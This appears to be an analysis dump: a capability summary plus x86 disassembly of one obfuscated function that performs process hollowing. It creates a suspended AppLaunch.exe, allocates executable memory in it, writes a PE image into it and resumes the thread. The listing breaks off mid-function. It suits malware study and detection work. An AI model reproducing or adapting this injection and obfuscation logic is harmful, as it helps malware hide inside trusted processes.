Function at 0x100032f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x11c
mov eax, dword [0x1006b000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x11e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x11d], al
mov dword [ebp - 0x124], 0x6e3b5b86
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
sub eax, 0x822552d7
je 0x100071b6
jmp 0x10003363
mov eax, dword [ebp - 0x128]
sub eax, 0x82328f5c
je 0x100099f1
jmp 0x10003379
mov eax, dword [ebp - 0x128]
sub eax, 0x8454502c
je 0x1000b0be
jmp 0x1000338f
mov eax, dword [ebp - 0x128]
sub eax, 0x866c9242
je 0x100075fc
jmp 0x100033a5
mov eax, dword [ebp - 0x128]
sub eax, 0x8774c91b
je 0x10006024
jmp 0x100033bb
mov eax, dword [ebp - 0x128]
sub eax, 0x87766f14
je 0x100090a4
jmp 0x100033d1
mov eax, dword [ebp - 0x128]
sub eax, 0x87a16528
je 0x10005842
jmp 0x100033e7
mov eax, dword [ebp - 0x128]
sub eax, 0x87c79ba2
je 0x1000a685
jmp 0x100033fd
mov eax, dword [ebp - 0x128]
sub eax, 0x87d8e6bf
je 0x1000ab4e
jmp 0x10003413
mov eax, dword [ebp - 0x128]
sub eax, 0x884500fe
je 0x1000a991
jmp 0x10003429
mov eax, dword [ebp - 0x128]
sub eax, 0x8884207c
je 0x10008bcc
jmp 0x1000343f
mov eax, dword [ebp - 0x128]
sub eax, 0x88e0daf3
je 0x10006c4b
jmp 0x10003455
mov eax, dword [ebp - 0x128]
sub eax, 0x899924ec
je 0x1000665d
jmp 0x1000346b
mov eax, dword [ebp - 0x128]
sub eax, 0x8b98c723
je 0x1000804a
jmp 0x10003481
mov eax, dword [ebp - 0x128]
sub eax, 0x8c6d8335
je 0x1000b316
jmp 0x10003497
mov eax, dword [ebp - 0x128]
sub eax, 0x8cbc708c
je 0x1000b4f3
jmp 0x100034ad
mov eax, dword [ebp - 0x128]
sub eax, 0x8de0c8bc
je 0x1000a790
jmp 0x100034c3
mov eax, dword [ebp - 0x128]
sub eax, 0x8de48650
je 0x1000b325
jmp 0x100034d9
mov eax, dword [ebp - 0x128]
sub eax, 0x8dfdf850
je 0x1000771e
jmp 0x100034ef
mov eax, dword [ebp - 0x128]
sub eax, 0x8e1584ad
je 0x10007d68
jmp 0x10003505
mov eax, dword [ebp - 0x128]
sub eax, 0x8ecdeedc
je 0x10005bfd
jmp 0x1000351b
mov eax, dword [ebp - 0x128]
sub eax, 0x8ed555bc
je 0x1000a72f
jmp 0x10003531
mov eax, dword [ebp - 0x128]
sub eax, 0x908f1452
je 0x10007b8e
jmp 0x10003547
mov eax, dword [ebp - 0x128]
sub eax, 0x90b4730d
je 0x1000af72
jmp 0x1000355d
mov eax, dword [ebp - 0x128]
sub eax, 0x91416aa1
je 0x1000a447
jmp 0x10003573
mov eax, dword [ebp - 0x128]
sub eax, 0x92034cba
je 0x10008181
jmp 0x10003589
mov eax, dword [ebp - 0x128]
sub eax, 0x922a534e
je 0x1000b235
jmp 0x1000359f
mov eax, dword [ebp - 0x128]
sub eax, 0x92ee3a81
je 0x10007c0b
jmp 0x100035b5
mov eax, dword [ebp - 0x128]
sub eax, 0x937823ec
je 0x10009982
jmp 0x100035cb
mov eax, dword [ebp - 0x128]
sub eax, 0x94879b0f
je 0x1000a1bb
jmp 0x100035e1
mov eax, dword [ebp - 0x128]
sub eax, 0x94d6336a
je 0x10007b0a
jmp 0x100035f7
mov eax, dword [ebp - 0x128]
sub eax, 0x9544ec24
je 0x10006e9b
jmp 0x1000360d
mov eax, dword [ebp - 0x128]
sub eax, 0x95d201b8
je 0x100078e4
jmp 0x10003623
mov eax, dword [ebp - 0x128]
sub eax, 0x95e1654c
je 0x10009000
jmp 0x10003639
mov eax, dword [ebp - 0x128]
sub eax, 0x96b4f5df
je 0x1000651d
jmp 0x1000364f
mov eax, dword [ebp - 0x128]
sub eax, 0x97579266
je 0x1000b1d2
jmp 0x10003665
mov eax, dword [ebp - 0x128]
sub eax, 0x979ab685
je 0x10008eb5
jmp 0x1000367b
mov eax, dword [ebp - 0x128]
sub eax, 0x979e7fd7
je 0x10007790
jmp 0x10003691
mov eax, dword [ebp - 0x128]
sub eax, 0x97a48206
je 0x10009fdd
jmp 0x100036a7
mov eax, dword [ebp - 0x128]
sub eax, 0x97b68a16
je 0x1000af33
jmp 0x100036bd
mov eax, dword [ebp - 0x128]
sub eax, 0x97d26bed
je 0x10007aed
jmp 0x100036d3
mov eax, dword [ebp - 0x128]
sub eax, 0x98979764
je 0x10006045
jmp 0x100036e9
mov eax, dword [ebp - 0x128]
sub eax, 0x9977e9ae
je 0x1000a914
jmp 0x100036ff
mov eax, dword [ebp - 0x128]
sub eax, 0x9982b0fa
je 0x10009540
jmp 0x10003715
mov eax, dword [ebp - 0x128]
sub eax, 0x99afaebe
je 0x100067c5
jmp 0x1000372b
mov eax, dword [ebp - 0x128]
sub eax, 0x99b00b3c
je 0x10009cb5
jmp 0x10003741
mov eax, dword [ebp - 0x128]
sub eax, 0x99c5fb47
je 0x10007de9
jmp 0x10003757
mov eax, dword [ebp - 0x128]
sub eax, 0x99e8418f
je 0x1000b62c
jmp 0x1000376d
mov eax, dword [ebp - 0x128]
sub eax, 0x9a0d0d71
je 0x100095f0
jmp 0x10003783
mov eax, dword [ebp - 0x128]
sub eax, 0x9ac0e999
je 0x1000667a
jmp 0x10003799
mov eax, dword [ebp - 0x128]
sub eax, 0x9ae9af8c
je 0x1000ac7d
jmp 0x100037af
mov eax, dword [ebp - 0x128]
sub eax, 0x9ba593e0
je 0x10008cc9
jmp 0x100037c5
mov eax, dword [ebp - 0x128]
sub eax, 0x9bf9e8d9
je 0x1000b0cd
jmp 0x100037db
mov eax, dword [ebp - 0x128]
sub eax, 0x9c6de399
je 0x100061e3
jmp 0x100037f1
mov eax, dword [ebp - 0x128]
sub eax, 0x9ced392d
je 0x10008d99
jmp 0x10003807
mov eax, dword [ebp - 0x128]
sub eax, 0x9dab96af
je 0x100071c5
jmp 0x1000381d
mov eax, dword [ebp - 0x128]
sub eax, 0x9f7999f8
je 0x10008324
jmp 0x10003833
mov eax, dword [ebp - 0x128]
sub eax, 0x9f9823b6
je 0x10009918
jmp 0x10003849
mov eax, dword [ebp - 0x128]
sub eax, 0x9ff2c27b
je 0x10007d77
jmp 0x1000385f
mov eax, dword [ebp - 0x128]
sub eax, 0xa000ac02
je 0x100074c4
jmp 0x10003875
mov eax, dword [ebp - 0x128]
sub eax, 0xa03f1610
je 0x1000b574
jmp 0x1000388b
mov eax, dword [ebp - 0x128]
sub eax, 0xa0f975d1
je 0x1000ab73
jmp 0x100038a1
mov eax, dword [ebp - 0x128]
sub eax, 0xa153fb32
je 0x10007894
jmp 0x100038b7
mov eax, dword [ebp - 0x128]
sub eax, 0xa15b7c30
je 0x1000974a
jmp 0x100038cd
mov eax, dword [ebp - 0x128]
sub eax, 0xa1ce1bc3
je 0x100074a3
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0xdcc4d846
sub edx, 1
add edx, 0xdcc4d846
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf6cc8ff
mov ecx, 0xf72e16f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xcad4f3f2
jmp 0x1000b84c
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001836c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x98979764
jmp 0x1000b84c
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018368]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x54279785
jmp 0x1000b84c
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018354]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x43ea81e9
jmp 0x1000b84c
mov dword [ebp - 0x124], 0x4449583f
jmp 0x1000b84c
mov dl, 1
mov eax, 0xa52258d2
mov ecx, 0x9ac0e999
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x12e61122
sub edx, 1
add edx, 0x12e61122
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9bf9e8d9
mov ecx, 0x6463fcf6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
add edx, 0x22688af3
sub edx, 1
sub edx, 0x22688af3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0163418
mov ecx, 0x44f47a56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100181fc]
movss dword [eax], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0xbb9832e3
sub edx, 1
add edx, 0xbb9832e3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2cfcc7fe
mov ecx, 0x4407c079
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xc388b1a2
jmp 0x1000b84c
mov dword [ebp - 0x124], 0x9dab96af
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3318b842
mov ecx, 0x4cae6b96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10018304]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x462e0d48
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa283fbb
mov ecx, 0x3236e11d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0xb8e2cf97
sub edx, 1
sub edx, 0xb8e2cf97
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45c80cfb
mov ecx, 0xd12107ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182e8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182e4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x76b21633
jmp 0x1000b84c
mov dl, 1
mov eax, 0x2fc6e43
mov ecx, 0xe442f037
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov dword [ebp - 0x124], 0x2fc6e43
jmp 0x1000b84c
mov dl, 1
mov eax, 0x92ee3a81
mov ecx, 0x94d6336a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182cc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x4d3f658d
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7322453f
mov ecx, 0x5f55c1f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x5a4e75ff
jmp 0x1000b84c
mov dword [ebp - 0x124], 0x9ff2c27b
jmp 0x1000b84c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xa2bfe95f
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8c6d8335
mov ecx, 0x1e628355
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100182b4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x3e6600bd
mov ecx, 0xd263de04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xeaf940e8
jmp 0x1000b84c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100182a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100182a0]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xbdffe914
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x42c825c7
mov ecx, 0x5a1c09b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov dl, 1
mov eax, 0x756d9b2c
mov ecx, 0xfff42595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov dword [ebp - 0x124], 0xfa161723
jmp 0x1000b84c
mov dl, 1
mov eax, 0x95e1654c
mov ecx, 0x482ff028
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018268]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018264]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018260]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xf554bac5
jmp 0x1000b84c
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1fd70621
mov ecx, 0x2dbed5bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0xd79cc9a5
sub edx, 1
sub edx, 0xd79cc9a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa03f1610
mov ecx, 0xfaa63eb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018238]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018234]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xfbc8f77
jmp 0x1000b84c
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0xfc]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
mov edx, ecx
sub edx, 0x5f20c07c
sub edx, 1
add edx, 0x5f20c07c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1fbbd800
mov ecx, 0xa231a2ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0xbcf88f84
add ecx, eax
sub ecx, 0xbcf88f84
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x124], 0x5acd0fba
jmp 0x1000b84c
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000cb00
add esp, 0xc
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000cb00
add esp, 0xc
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x124], 0x82328f5c
jmp 0x1000b84c
mov eax, dword [ebp - 0x94]
cmp dword [eax + 0x70], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe4]
mov byte [eax], cl
mov eax, dword [ebp - 0xe0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dl, byte [eax]
mov eax, 0xdbd5fd23
mov ecx, 0xa4cd523c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x80]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov edx, dword [ebp - 0xd8]
mov eax, 0x34af3345
mov ecx, 0xf4fdbb41
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc0]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0xec]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002f40
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
add edx, 0x7df31d77
sub edx, 1
sub edx, 0x7df31d77
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99e8418f
mov ecx, 0xb24837e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x124], 0xdb0b5ee5
jmp 0x1000b84c
mov ecx, dword [0x1006c328]
mov eax, dword [0x1006c324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2cd6fccb
mov ecx, 0x771431
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xf0]
mov esi, dword [eax]
mov eax, 0xe2e5a8a8
mov ecx, 0x3f390e0e
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov ecx, dword [ebp - 0x44]
add ecx, 0x41ebf281
sub ecx, 8
sub ecx, 0x41ebf281
shr ecx, 1
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xbd8c8090
sub ecx, eax
add ecx, 0xbd8c8090
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov dword [ebp - 0x124], 0x8de0c8bc
jmp 0x1000b84c
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x124], 0xe99750b1
jmp 0x1000b84c
mov eax, dword [ebp - 0x38]
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x31], al
mov eax, dword [0x1006c328]
mov ecx, dword [0x1006c324]
mov edx, eax
sub edx, 0x8b715639
sub edx, 1
add edx, 0x8b715639
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbb832821
mov ecx, 0xb2f1b24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000b84c
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xac]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0xd47f47ce
or edx, esi
or eax, 0xd47f47ce
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x124], 0xca014533
jmp 0x1000b84c
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x124], 0xa0f975d1
jmp 0x1000b84c
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x20]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
